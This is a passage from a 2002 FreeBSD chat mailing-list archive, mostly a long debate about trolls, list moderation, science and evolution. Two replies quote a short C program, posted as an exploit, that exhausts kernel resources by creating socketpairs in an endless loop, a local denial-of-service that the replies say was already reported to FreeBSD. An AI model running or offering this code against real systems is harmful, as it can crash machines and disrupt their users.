there is a > "master" in the first place; someone who does not exist can neither > be "haughty" nor "humble"). But if you were king... ------ Dave Hayes - Consultant - Altadena CA, USA - dave@jetcafe.org >>> The opinions expressed above are entirely my own <<< "When they came for the 2nd Amendment, I said nothing, for I owned no gun. Then the sixth was next to go, and I remained silent, as I was not on trial. They took away the fourth, and I said nothing, as I had nothing to hide. And then they came for the First, and I could say nothing." To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Sun Sep 1 23:25:13 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id D02A337B401 for ; Sun, 1 Sep 2002 23:24:54 -0700 (PDT) Received: from hokkshideh2.jetcafe.org (hokkshideh2.jetcafe.org [64.239.180.8]) by mx1.FreeBSD.org (Postfix) with ESMTP id 64DC143E72 for ; Sun, 1 Sep 2002 23:24:54 -0700 (PDT) (envelope-from dave@jetcafe.org) Received: from hokkshideh2.jetcafe.org (localhost [127.0.0.1]) by hokkshideh2.jetcafe.org (8.11.6/8.11.6) with ESMTP id g826Ol149516; Sun, 1 Sep 2002 23:24:47 -0700 (PDT) (envelope-from dave@hokkshideh2.jetcafe.org) Message-Id: <200209020624.g826Ol149516@hokkshideh2.jetcafe.org> X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4 To: Terry Lambert Cc: "Neal E. Westfall" , chat@FreeBSD.ORG Subject: Re: Why did evolution fail? Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Sun, 01 Sep 2002 23:24:46 -0700 From: Dave Hayes Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org Terry Lambert writes: > Dave Hayes wrote: >> >> > How can individuals cooperate to achieve common goals, if everyone >> >> > acts as you would have them act? By what system? >> >> >> >> Eh? Why does this position imply that individuals cannot cooperate? >> >> How can individuals cooperate at all if they do not focus on what they >> >> do as a first priority? >> > >> > It doesn't imply they can't, it implies they won't. >> >> It implies no such thing either way. You can be focused, for example, >> on what you are doing for another. > > See my references. Do the math. The game you are describing has > only one set of paredo-optimal results. I can infer the validity from my observations, thank you. >> Again, I'm not implying that. I'm saying you should be worried about >> your own progress and your own issues first. If you are focused on >> how "you can get something from this other", that's not the focus I am >> talking about. > > What else am I to conclude from a selfish focus on one's self, > with no worry about what others do? I can, for example, focus > on feeding myself, while others starve. A better example is focus on what you want to read rather than focusing on what others do not want to read. By your own mechanics, if everyone did this, trolls would not have any effect on the community. >> >> Measuring the greatest good is not done using any continuous >> >> increasing space of quantative measure. It's not even mathematical. >> > >> > You mean "I don't know the math which would enable me to model >> > that correctly". 8-). >> >> I don't think there IS any math that would enable you to model that >> correctly. You don't even have a solid context to apply any measuring >> semantics. > > Sure I do. The avearge perception of "good". Any given society > can vote on its meaning, and take the consensus decision as being > normative. You don't appparently even have the desire to know what real "good" is. Hint: it's not the average perception. >> >> You just can't "measure" or "know" this or usefully map it to any >> >> remotely rational or linear process. Approximations, in fact, may do >> >> more harm than good. >> > Definition (NIST : http://www.nist.gov/dads/HTML/monteCarlo.html ) >> > Monte Carlo Algorithim - A randomized algorithm that >> > may produce incorrect results, but with bounded error >> > probability. >> >> What good is this for measuring "good"? > > We already know how to measure good: it's 100 minus the precentage > deviation from the consensus. I disagree that this is good or has anything to do with real good. The consensus thinks that getting filthy rich is good. If everyone were filthy rich, there wouldn't be a notion of rich or poor, and the concept would vanish. Then no one would be rich. >> > Respectfully: a tool may only do "more harm than good" if it is >> > used by someone who does not know how to use it correctly. >> >> By the same boat, attemping to act on unknowable data about what >> is the "highest and best good" may do "more harm than good" if someone >> does not know how to approach this correctly. > > Your insistance on "unknowability" is bizarre. To you, perhaps. Everything must be knowable in your universe. I can live with some things being unknowable. >> It always was your duty to find the best yardstick by which to measure >> 'highest and best good'. > > See above. Heh, nice and mathematical. Keep trying, though. Ever read Zen and the Art of Motorcycle Maintenance? (Know the rebuttal is coming, I do.) >> >> > In order for a system top operate indefinitely, it must achieve >> >> > homeostasis. >> >> >> >> IYHO. ;) >> > >> > Definitionally. >> >> Your definition. ;) > > A definition I accept; I don't claim to have originated it. I don't accept it outside of physics or engineering, surprise surprise, but you brought it up therefore it's yours. ;) ------ Dave Hayes - Consultant - Altadena CA, USA - dave@jetcafe.org >>> The opinions expressed above are entirely my own <<< If you want to shoot for the moon, aim for the sun To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Mon Sep 2 1:54:33 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 1123337B400 for ; Mon, 2 Sep 2002 01:54:30 -0700 (PDT) Received: from mail.seattleFenix.net (seattleFenix.net [216.39.145.247]) by mx1.FreeBSD.org (Postfix) with ESMTP id 4690043E65 for ; Mon, 2 Sep 2002 01:54:29 -0700 (PDT) (envelope-from roo@mail.seattleFenix.net) Received: (from roo@localhost) by mail.seattleFenix.net (8.11.6/8.11.6) id g828qq274032; Mon, 2 Sep 2002 01:52:52 -0700 (PDT) (envelope-from roo) Date: Mon, 2 Sep 2002 01:52:52 -0700 From: Benjamin Krueger To: Ivan Streetovich Cc: freebsd-chat@freebsd.org Subject: Re: From: Ivan Streetovich, Japan Message-ID: <20020902015252.G64882@mail.seattleFenix.net> References: <20020902061632.77710.qmail@web12905.mail.yahoo.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20020902061632.77710.qmail@web12905.mail.yahoo.com>; from bad_dot_c@yahoo.com on Mon, Sep 02, 2002 at 07:16:32AM +0100 X-PGP-Key: http://www.macguire.net/benjamin/public_key.asc Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org * Ivan Streetovich (bad_dot_c@yahoo.com) [020901 23:15]: > > > > __________________________________________________ > Do You Yahoo!? > Everything you'll ever need on one web page > from News and Sport to Email and Music Charts > http://uk.my.yahoo.com > Date: Mon, 2 Sep 2002 07:05:52 +0100 (BST) > From: Ivan Streetovich > Subject: From: Ivan Streetovich, Japan > To: security@freebsd.com > > #define BUFFERSIZE 204800 > extern int > > /* Released by Ivan Streetovich, Japan * > * Causes problems on FreeBSD */ > > main(void) > { > int p[2], i; > char crap[BUFFERSIZE]; > while (1) > { > if (socketpair(AF_UNIX, SOCK_STREAM, > 0, p) == -1) > break; > i = BUFFERSIZE; > setsockopt(p[0], SOL_SOCKET, > SO_RCVBUF, &i, sizeof(int)); > setsockopt(p[0], SOL_SOCKET, > SO_SNDBUF, &i, sizeof(int)); > setsockopt(p[1], SOL_SOCKET, > SO_RCVBUF, &i, sizeof(int)); > setsockopt(p[1], SOL_SOCKET, > SO_SNDBUF, &i, sizeof(int)); > fcntl(p[0], F_SETFL, O_NONBLOCK); > fcntl(p[1], F_SETFL, O_NONBLOCK); > write(p[0], crap, BUFFERSIZE); > write(p[1], crap, BUFFERSIZE); > } > exit(0); > } This problem (and this exact source code, funnily enough. Are you sure you released it?) has already been reported to the security-officer and is (afaik) being addressed by the developers. =) -- Benjamin Krueger "Everyone has wings, some folks just don't know what they're for" - B. Banzai ---------------------------------------------------------------- Send mail w/ subject 'send public key' or query for (0x251A4B18) Fingerprint = A642 F299 C1C1 C828 F186 A851 CFF0 7711 251A 4B18 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Mon Sep 2 2: 3:26 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 5530637B400 for ; Mon, 2 Sep 2002 02:03:21 -0700 (PDT) Received: from mail.seattleFenix.net (seattleFenix.net [216.39.145.247]) by mx1.FreeBSD.org (Postfix) with ESMTP id A0B6543E42 for ; Mon, 2 Sep 2002 02:03:20 -0700 (PDT) (envelope-from roo@mail.seattleFenix.net) Received: (from roo@localhost) by mail.seattleFenix.net (8.11.6/8.11.6) id g8291oF74075; Mon, 2 Sep 2002 02:01:50 -0700 (PDT) (envelope-from roo) Date: Mon, 2 Sep 2002 02:01:50 -0700 From: Benjamin Krueger To: Ivan Streetovich Cc: freebsd-chat@freebsd.org Subject: Re: From: Ivan Streetovich, Japan Message-ID: <20020902020150.H64882@mail.seattleFenix.net> References: <20020902061632.77710.qmail@web12905.mail.yahoo.com> <20020902015252.G64882@mail.seattleFenix.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20020902015252.G64882@mail.seattleFenix.net>; from benjamin@seattleFenix.net on Mon, Sep 02, 2002 at 01:52:52AM -0700 X-PGP-Key: http://www.macguire.net/benjamin/public_key.asc Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org * Benjamin Krueger (benjamin@seattleFenix.net) [020902 01:53]: > * Ivan Streetovich (bad_dot_c@yahoo.com) [020901 23:15]: > > > > __________________________________________________ > > Do You Yahoo!? > > Everything you'll ever need on one web page > > from News and Sport to Email and Music Charts > > http://uk.my.yahoo.com > > Date: Mon, 2 Sep 2002 07:05:52 +0100 (BST) > > From: Ivan Streetovich > > Subject: From: Ivan Streetovich, Japan > > To: security@freebsd.com > > > > #define BUFFERSIZE 204800 > > extern int > > > > /* Released by Ivan Streetovich, Japan * > > * Causes problems on FreeBSD */ > > > > main(void) > > { > > int p[2], i; > > char crap[BUFFERSIZE]; > > while (1) > > { > > if (socketpair(AF_UNIX, SOCK_STREAM, > > 0, p) == -1) > > break; > > i = BUFFERSIZE; > > setsockopt(p[0], SOL_SOCKET, > > SO_RCVBUF, &i, sizeof(int)); > > setsockopt(p[0], SOL_SOCKET, > > SO_SNDBUF, &i, sizeof(int)); > > setsockopt(p[1], SOL_SOCKET, > > SO_RCVBUF, &i, sizeof(int)); > > setsockopt(p[1], SOL_SOCKET, > > SO_SNDBUF, &i, sizeof(int)); > > fcntl(p[0], F_SETFL, O_NONBLOCK); > > fcntl(p[1], F_SETFL, O_NONBLOCK); > > write(p[0], crap, BUFFERSIZE); > > write(p[1], crap, BUFFERSIZE); > > } > > exit(0); > > } > > This problem (and this exact source code, funnily enough. Are you sure you > released it?) has already been reported to the security-officer and is > (afaik) being addressed by the developers. =) > By the way, Mister 'Streetovich', you forgot to paste the #includes with the rest of "your" code. #include #include #include -- Benjamin Krueger "Everyone has wings, some folks just don't know what they're for" - B. Banzai ---------------------------------------------------------------- Send mail w/ subject 'send public key' or query for (0x251A4B18) Fingerprint = A642 F299 C1C1 C828 F186 A851 CFF0 7711 251A 4B18 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Mon Sep 2 2:13:28 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 4685A37B400 for ; Mon, 2 Sep 2002 02:13:02 -0700 (PDT) Received: from swan.mail.pas.earthlink.net (swan.mail.pas.earthlink.net [207.217.120.123]) by mx1.FreeBSD.org (Postfix) with ESMTP id 6801E43E7B for ; Mon, 2 Sep 2002 02:13:01 -0700 (PDT) (envelope-from tlambert2@mindspring.com) Received: from pool0065.cvx40-bradley.dialup.earthlink.net ([216.244.42.65] helo=mindspring.com) by swan.mail.pas.earthlink.net with esmtp (Exim 3.33 #1) id 17lnGJ-0004Jj-00; Mon, 02 Sep 2002 02:12:47 -0700 Message-ID: <3D732AE4.47255E72@mindspring.com> Date: Mon, 02 Sep 2002 02:09:56 -0700 From: Terry Lambert X-Mailer: Mozilla 4.79 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Dave Hayes Cc: chat@FreeBSD.ORG Subject: Re: Why did evolution fail? References: <200209020617.g826HR149472@hokkshideh2.jetcafe.org> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org Dave Hayes wrote: > The existence of the numinous implies the existence of it's opposite. > That way lies the dark side. The trick is to become one with the > universe, then speak at the level of people's understanding. ( This > would be a herculean feat for you, oh master of the pleonastic. ;) ) What did the Buddist say to the hot dog vendor? 8-). [ ... rewind ... ] > >> If a gene exists in an organism but isn't expressed, isn't that > >> effectively the same as removing it? No. > > The answer is that only gene combinations which are actively fatal > > to the organism will be removed from the gene pool. If they are not > > active, then they are not removed. > > But still not expressed, which is what I was driving at. No. They may be expressed in individual offspring. > > Look up the phrase "fellow traveller". 8-). > > Do you mean: [ ... something which I did not mean ... ] http://www.maths.warwick.ac.uk/gt/ftp/main/m1/m1-11.pdf > The environment does not vote. It is not active in the process. > The mutated individual either adapts or does not adapt to its > environment. Your synthesis breaks down here. Posit a mutation which enables the breathing of Chlorine gas, but not an Oxygen/Nitrogen mix. The environment votes, most explosively. > >> Nonsense. Mental institutions with catatonics are a good counter > >> example. [ ... ] > The extrema is that you can kill someone, but we'll argue about what > happens afterwards. Precisely. > >> They have to find you first. In that, there is the balance of power. > > Read: The Transparent Society > > The difficulty I have in arguing with you is that a lot of my > knowledge comes from experience and observation. A lot of yours > seems to come from books. If I were extremely well read, I would > probably sound like you (heaven forbid), since this is the Nth > time that you've used others' written works to rebut a point. Experiential evidence is anecdotal. Observational evidence is real evidence, only if the observations are repeatable under controlled conditions. I admit that I read a lot, and that I don't really understand why you won't permit macro expansion, as if the other person had argued my case for me. ;^). > By now you must have realized that I don't consider something > authentic just because it's written in a book, or because some famous > or infamous or little known scientist says it is true while providing > a rationale and experimental data. Neither do I; if you feel that I've been appealing to authority, rather than appealing to logical arguments made by others which support my fundamental points, then I guess we're at an impasse, if you are going to insist that I personally argue all my own points from first principles, as a subjective measure of validity. > So. The question remains as to why you continue to put someone else's > words where your mouth is. I suspect the answer is because you are > deeply, almost religiously, mapped into the scientific reality. That's > neither good nor bad, just a statement of what I appear to see. If it > works for you, use it. I'm not trying to change this or anything about > you. Often times I map into this reality too, it is useful for solving > a number of problems. It's certainly useful for solving the problem which stands before this forum: we can, in fact, design a system which has the emergent properties we desire the system to have. And therefore we can design a system that, by it's very nature, will squelch speech which is not topical, e.g. that of "trolls". > What I don't understand is this. If you are going to provide examples > in critical thinking as a suggestion to me or others, why not apply > those examples to the tenets of science? I do. > The scientific method works for some bounded space of problems, but > you never see a scientist apply critical thinking to that method, > wondering whether or not it is appropriate to apply to what just > occurred. You never see a scientist question their own assumptions > far enough to get to the scientific method. On the contrary. It is the nature of science to question assumptions. I see scientists question their own assumptions all the time; all that is required to trigger this is a contradictory observation. Scientists never hold forth facts, only hypothesis. [ ... profoundly bad example ... ] > But example or no example, it is this level of critical thinking I > find absent in science and really most human knowledge. I think you are hanging with the wrong peeps. > > Incorrect. The skills are passed environmentally. > > I know you cannot prove this, so I'll move on. I also believe, if > you'll look, there's recent evidence to the contrary. I know not > where to look, I was speaking with some PhD somewhere about these > matters. I'm sure you'll find it. ;) You're talking about Wiley's work, I presume? > > So you are able to seperate the genetic (your nature) and environmental > > (programming) factors that make up your own psyche? > > Most of them, yes...though I hardly see how this is relevant and I > sure wouldn't phrase it that way. It's important in that it defies the incompleteness theorem; it's "The Truth The Machine Dares Not Utter". > > We would merely be debating the self-consistency of the > > model you are proposing. > > Intellectual masturbation, at best. You are already going to disagree > with me, no matter what model I propose. I give up before I've even > started. Incorrect. If you can demonstrate that your system is self-consistent, then it can be measured against how well it models empirical data, and whether or not it's predictive. Something can be a useful model without being "The Truth". The issue is one of accuracy and correctness. If, on the other hand, the model is not self-consistant, or it fails to be predictive on any scale, and there is another model which better fits all the observable data, then it should be discarded. > > Goedel. > > His proof was the last mathematical proof I ever read. You really > don't need to read another once you've read that one. ;) There is a fine balance to be struck here. Many people believe anything someone in authority shovels into their head, and accept it as if they had arrived at the same conclusions independently. At some point, if they are lucky, they are faced with indisputable empirical evidence that something they were told, and had thus internalized, is not true, and begin to question everything they are told. It is very easy to quit learning entirely, at that point, or to have your rate of learning slow to a crawl. The lucky few grow beyond that stage, and establish a resonableness test for information, and their speed of learning picks back up, though never to the point it was before their filters first cut in. Much like filtering a mailing list, rather than having the information arrive pre-filtered, the crap reduces your overall bandwidth. > > As long as it has the effect of stifiling communition *by trolls*, > > that's all that matters, in the limit, since that is the problem > > we are trying to address. > > You can't orthogonalize this. You can't just apply a transform and have > the troll component vanish, you still affect the other communication. Why can't it be orthogonalized? You are effectively arguing against the Taniyama-Shimura conjecture... which has been proven. All I have to do is pick the correct modular goal-space, where all pro-society goals are located on one side of a boundary manifold, and all anti-society goals are located on the other side of the same boundary manifold. > > You claim this, yet, if you anhilate your enemy, rather than > > merely decimating them, they do not rise again. > > No, their traits appear in another and another and... > > If you can understand this, it's your opposition to the traits that > generates enough energy to pull in those who have them. I understand your claim, but I don't agree with its accuracy. Your argument seems to say that racists exist because racism is reproached by society. And thus, by opposition, engenders racism. I would argue that this is false. I would argue that racism exists because it is possible to distinguish race in the first place. Dark does not exist because light exists, it exists because organs which are capable of percieving the distinction exist. > > Don't be coy. I've read your web site, and I'm well aware of > > your failure to establish what you call a "Usenet Site of > > Virtue". > > I'm not being coy, I've demonstrated many times since. The problem in > that particular case was my failure to observe the dichotomy in place > between troll and netcop. One pulls in the other, no matter what you > do. When I could see that they were just two sides of the same coin, > well that's when I gave up on USENET. You ignored the third alternative: establish your own instance of usenet, rather than attempting to peer with the one where the "netcops" existed. It was your attempts at peering which resulted in conflict, not your running of a server, by and of itself. If your argument is that by running a server by and of itself, you will attract "your own trolls", in the form of "netcops", who, by virtue of their minority membership, are the trolls, then your argument against tolerance of trolls is itself invalidated: if the argument had validity, then you should have merely tolerated their presence, and lived with it. > I won't say it's easy to do, but my successes (which will remain > anonymous lest they get polluted by my failures) have neither troll > nor netcop in them, and they do just fine. No trolls. No netcops. (And > no WAY am I telling where they are, lest they get polluted.) So basically, you are assuring your security through obscurity, rather than through explicit means, while decrying others suggestions of similar implicit means. > > It's not a science yet, but once I feel confident, and of course if > it's appropriate, I may make a public attempt on FreeNet, where > netcops can't do any damage. It is my theory that the trolls, without > netcops to drag them in, will go elsewhere over time. It's my theory that if a troll is being paid to disrupt a forum, that payment need not come in the form of the reactions of a so-called "netcop". > > One you run, instead of expecting someone else to run it for you. > > Straw man. I can't start up a counterpart freebsd list and you know > it. Why not? What's preventing you from doing so? > > Responding... as in the response of blocking future posts? Or > > do you mean engaging in discourse with the troll? > > Discourse, of course. ;) This can not work. Trolls are uninterested in discourse. If they were there for the discourse, then we would not label them trolls. [ ... "chilling effects" of moderation vs. "chilling effect" of trolls ... ] > Either way we lose, so why not make it the most open way and don't > block anyone? As long as the forum serves it purpose to the society, then there is no "chilling effect" which results from blocking trolls. The forum exists to serve the society. The inability of trolls to self-select mebership in a society which does not want them damages nothing. > What about those questions which cannot be dealt with rationally? What questions which cannot be dealt with rationally? > > The problem with this is it ignores the fact that topical > > postings, however unpopular, will be protected by the mutual > > security network. > > That's not what actually happens in moderation. A subset of ideas that > are 'out of the box' enough to be topically suspect (even though of > interest to the community) will be refused entry to the list. Thus, > the list is denied the fresh input of new data, even if absurd. It depends on what you mean by "moderation". > > It defines a specific type of mutual security game. The kind > > which is played by Open Source Software projects on mailing > > lists, news groups, or other communications mediums. > > I don't agree that, in this case, "mutual altruism" has any > differences from "altruism" in this case...for altrusim to be > authentic it must not be required or have strings attached. If you > are saying "mutual altruism" has strings attached, then I disagree > that this is "altruism". Go ahead and disagree. You won't get the games theorists to change their name for the game, any more than I will be able to get people to quit referring to "IRC" as "cyberspace", merely because toturing someone to death there doesn't cause them to die in the physical world. 8-). > > The only moderation which has been suggested recently is the > > moderation of the FreeBSD-security list. > > Yes. Hopefully that issue will subside. It will only happen if the trolling subsides first. > > I don't believe *anyone* has suggested moderation of -hackers or > > -chat as a means of preventing the troll postings to those venues. > > You did. Go read what you wrote. You are practically chomping at > the bit to do this, which means you might be a netcop. If you are > a netcop, trolls will follow you around no matter what you do. Don't > believe me, just watch. Moderation implies a moderator. The system I suggested would work, yet be ultimately undesirable, would not require an individual moderator who would have to be proactive on a post-by-post basis. At worst, it would be a reactive system, which would not require such eternal vigilence to operate as designed. > > Nonsense. I only have a responsibility to the societies of > > which I am a member. > > What? Where's your social conscience? ;=P How can you not be > responsible to another human being, who is a member of the most > basic society...that of all human beings? "Human being" is a definition that encompasse both genetics and programming. If someone lacks the proper programming, then by definition, they are merely homo sapiens, not human beings. > > To put it another way, you have the right to speak, but you do > > not have the right to an audience, or the right to the forum in > > which a particular audience exists. > > This is such a straw man. Did you really read my site? Speaking, > without an audience, is not speaking in the sense that the "right to > speak" implies. I will concede that the audience has a right to > ignore you... If I am a newspaper reporter, do I have the right to ignore you? > > Participation in society is voluntary. > > I disagree. Like you said, societies are in the same competing space > which is getting smaller (by occupation) everyday. You really don't > have a choice. Someone forced you to subscribe to the FreeBSD mailing lists, at gunpoint? > > Maybe my idea of perfection would be that it would be enough for > > it to exist in the first place. 8-). > > Perhaps, but I'm sure this would change after the first troll comes. ;) Part of its perfection is that there would be an immune response that made the troll go away. > >> > If there were 10 and them and 1 of me, then I'd be the troll, and > >> > they'd be the society being trolled. > >> > >> And would your principles apply then? ;) > > > > Yes. > > So you'd leave? Yes. There would be emergent consequences, but I would. > > If you want to self-assemble a community around a different issue, > > or if you want to self-assemble a community around the same issue > > or a different license, then feel free to do so. > > This straw man again? I fail to see how this is a straw-man. NetBSD did this successfully, relative to the 386BSD community. OpenBSD did the same thing, also successfully, relative to the NetBSD community. FreeBSD did the same thing, successfully, relative to the 386BSD community. The noosphere is not bounded to a finite competitive resource domain, as you keep implying with your "move to an island" analogy. There can be a near-infinite number of mailing list servers. > >> Only 8? Amazing. What are they? > > > > None of anyone else's damn business. 8-). > > Well then. You must not have so much faith in them, if security by > obscurity is your method. ;) I have faith in them. It would be easy to be dismissive of someone's arguments, if you knew the axioms from which they arose, since you could merely dismiss the axioms, and thereby, anything arising from them. Similarly, it would be fairly easy to model someone, once you knew their axiomatic basis and, through such modelling, be able to manipulate the outcome of interactions with them ("game the system"). It suits me to not put myself in either of these positions. > > I prefer to think of it as having a multitude of streams, each > > containing a certain classification of data, and filtering by > > means of selecting which streams to monitor. It's significantly > > more efficient, since it means that I don't have to interpose an > > additional latency barrier. > > You cannot classify the streams so efficiently as to demand that > one or three postings in a month be removed from the stream. Are you claiming "it cannot be done", or "Terry, personally, is not capable of the feat", or "Dave Hayes is not capable of the feat, therefore no one else is". Be careful how you answer... > Let's debunk another straw man. You simply -have- to filter email in > today's internet. There's no choice. Even if you have every message on > topic and no spam, you could be connected to 1000s of people. In > otherwords, there are many more people than you, so you must filter in > order that you are not constantly reading mail. We are not arguing the advisability of filtering, per se. We are merely arguing *where* the filtering should be enacted. My argument is that the filtering should be enacted where the costs are least, and your argument is that the filtering should be enacted where the costs are greatest. > So since the filters must be there anyway, why not encourage people to > use them to filter out that which they do not like (trolls)? I have no problem with filtering trolls. I recommend it. At the list server input, before the costs have been multiplied by the number of subscribers. > Each one of them has the same pattern. It's the pattern the netcop > has, if you look at it closely. They also communicate a wealth of > data, if you understand how to look at what they are saying. I do not value the "data" which you are referring to here. If you value it, then you are free to receive it by subscribing to additional mailing lists. [ ... Dave Hayes "manifest destiny of the Internet ... ] > >> No, that's a use that I observe is necessary. > > > > That's the use which you *posit* is necessary. Quintessential > > necessity has yet to be established indisputably. > > I said "observe" and I meant observe. Your dismissal of my assertion > doesn't change my observation, only what you think of it. Provide sufficient data that your observations can be repeated under controlled conditions, to independely gather data which is representative of the data you claim to have observed, make ou own data and collection techniques publically available for scholarly study, or be prepared for people to question the conclusions you draw based on that data. Me questioning your conclusions is not equal to me dismissing them. > > And the reason I argue for preconditionas on particular channels > > is the computational expense inherent in implementing your method. > > Which pales to the computational expense to send and receive all email. Wrong. Email sent to a list has a multiplicative effect. > > It's not a strawman. Do it. The only thing preventing you from > > running a mailing list server or usenet server of your own is you. > > It's a strawman. It's meaningless to the point of "moderating the > freebsd lists", which already exist and communicate valuable > information. Laying aside the argument that I have not been advocating moderating, now you are merely arguing your own convenience. It would be easy to set up a system where there were tiered offerings, e.g.: freebsd-hackers@davehayes.org is a mailing list freebsd-hackers@freebsd.org is a mailing list the mailing list freebsd-hackers@davehayes.org subscribes to the mailing list freebsd-hackers@freebsd.org all traffic to freebsd-hackers@freebsd.org is reflected to the list freebsd-hackers@davehayes.org all traffic to freebsd-hackers@davehayes.ord is sent *only* to the list membership, and not reflected to freebsd-hackers@freebsd.org The Sender: addresses are rewritten by the davehayes.org mailing list software, such that responses to messages received are sent only to the mailing list freebsd-hackers@davehayes.org, if the mail originates from the freebsd-hackers@freebsd.org list. People who wanted the trolling and side commentary could subscribe to freebsd-hackers@davehayes.org, and make their non-topical posts to that list. If they had a topical comment to make, then they could send it to freebsd-hackers@freebsd.org, instead. > > It didn't force me to post. I chose to post, in response. > > It is that choice to which I referred to above. "Responding" != "lobbing the first volley". > >> What established social norm? > > > > "No Trolls Allowed > > I never saw that as an established social norm on the freebsd lists. > Really, it looked like the matter had rarely been talked about. It's implicit. Trolls are by definition, off-topic. > > (or birds)". > > Egad, what's wrong with birds now? Charles Schultz reference. > > It's not going to happen. Your ideal is (apparently) not > > emergent. > > They said we would never fly too. ;) Prove me wrong by starting your own list, and making its value proposition compelling enough that I willing subscribe to it. > > Not applicable, unless there is a shared reference frame. > > "Evil" is that frame. Hello? How does someone so booksmart become so > obtuse?...er never mind. ;) Nonsense. I do not consider Rushdi to be evil, merely because Khomeni declared him to be evil. I do *not* share that reference frame, because I do not accept one of the consequences of the acceptance of that frame. > > The results validate or invalidate the effectiveness of the > > means. That's a very different statement. > > Not really. If the results validate the effectiveness, the means > are justified. That is how you think, no? No. What justified is self defense, either by an individual or a society. Some defenses are merely more effective than others. > But if you were king... I'll cross that bridge when I come to it... -- Terry To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Mon Sep 2 2:23: 9 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 5D34937B400 for ; Mon, 2 Sep 2002 02:23:06 -0700 (PDT) Received: from swan.mail.pas.earthlink.net (swan.mail.pas.earthlink.net [207.217.120.123]) by mx1.FreeBSD.org (Postfix) with ESMTP id 02DBD43E6E for ; Mon, 2 Sep 2002 02:23:06 -0700 (PDT) (envelope-from tlambert2@mindspring.com) Received: from pool0065.cvx40-bradley.dialup.earthlink.net ([216.244.42.65] helo=mindspring.com) by swan.mail.pas.earthlink.net with esmtp (Exim 3.33 #1) id 17lnQG-0001eK-00; Mon, 02 Sep 2002 02:23:04 -0700 Message-ID: <3D732D69.B2BC7B31@mindspring.com> Date: Mon, 02 Sep 2002 02:20:41 -0700 From: Terry Lambert X-Mailer: Mozilla 4.79 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Dave Hayes Cc: "Neal E. Westfall" , chat@FreeBSD.ORG Subject: Re: Why did evolution fail? References: <200209020624.g826Ol149516@hokkshideh2.jetcafe.org> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org Dave Hayes wrote: > > See my references. Do the math. The game you are describing has > > only one set of paredo-optimal results. > > I can infer the validity from my observations, thank you. Then may I suggest you do so? 8-). > A better example is focus on what you want to read rather than > focusing on what others do not want to read. By your own mechanics, > if everyone did this, trolls would not have any effect on the > community. There are people who can not do this. I would prefer to have the contributions of those people, than the participation of the trolls. If I must lose one or the other, let it be the trolls. > You don't appparently even have the desire to know what real "good" > is. Hint: it's not the average perception. The closest you can come to any ideal is to produce a system whose output asymptotically approaches the ideal. > > We already know how to measure good: it's 100 minus the precentage > > deviation from the consensus. > > I disagree that this is good or has anything to do with real good. The consensus definition is all that matters, unless you believe we are being judged against some absolute scale by a higher power. Even so, unless that;s the consensus belief... > The consensus thinks that getting filthy rich is good. If everyone > were filthy rich, there wouldn't be a notion of rich or poor, and > the concept would vanish. Then no one would be rich. Or poor. And that would be good. > > Your insistance on "unknowability" is bizarre. > > To you, perhaps. Everything must be knowable in your universe. I can > live with some things being unknowable. You lack of curiousity and determination marks you. > > A definition I accept; I don't claim to have originated it. > > I don't accept it outside of physics or engineering, surprise > surprise, but you brought it up therefore it's yours. ;) You lack of a belief in gravity will not spare you from its effects. 8-). -- Terry To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Mon Sep 2 4:41:42 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 1026737B400 for ; Mon, 2 Sep 2002 04:41:15 -0700 (PDT) Received: from hokkshideh2.jetcafe.org 